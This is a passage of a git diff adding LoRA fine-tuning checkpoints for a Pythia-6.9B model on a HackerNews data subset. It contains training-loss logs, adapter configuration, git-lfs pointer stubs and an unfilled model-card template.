"eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.44107511709696e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..80ac247e5e919eaf25d4d096a313c7b389b3a18d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2ce0f03bf166d36a747881f5e0f9445a15dd49c9b1ef0c64b87c1de7ce0e736c +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..7ec7173c5fca4d7c5c7dd7e01a44c7e6103c990b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7a7346344e89cd5224814196a53275c2596da0592615d29bebdf3f97e64c19f8 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..823c878e3ad7d7799e1959fba97c90aaf79af4f9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f5e4256f7b7ace2dd6194570c191ab9026456dc0db24025edac4a5bd9e379dab +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..63906caa8cd7e3fc0686b7d0276e496942ef0036 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:daeceb22ea0c54e6923c8a042a9cfc5a5bc826f201c52f29454b62c289d49dc6 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..e353366a5666351553cefa2a562874a01dbad40a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/trainer_state.json @@ -0,0 +1,363 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.9333333333333336, + "eval_steps": 10, + "global_step": 220, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.60493583695872e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..6e38aca98ab0cde38988f3d982d2150e43148883 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9219f0c8fb1da84f8be5ea2e39d8e659664a2eafdb4954172aa080fcdf62e458 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..09de8b571a2f1586e3dd996d151b18b40aed6a11 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e565bd699e4dec16f0e5699af57799ba88a9ce0fd390c31bf0316de04646bd7d +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..ae85ad205796b2c3955218eb7b4b348ca35978c7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3e2b38199e26ee1965ef79aea019c0217039e7dab109a4b6e29c57f1bea63d6d +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..3e92e5593d8d7139e837b2a75209a41c074c2e8c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d7f755a0bef74517fb45fc39d7689eaec499187cc5cd60002751078b0276b353 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/trainer_state.json 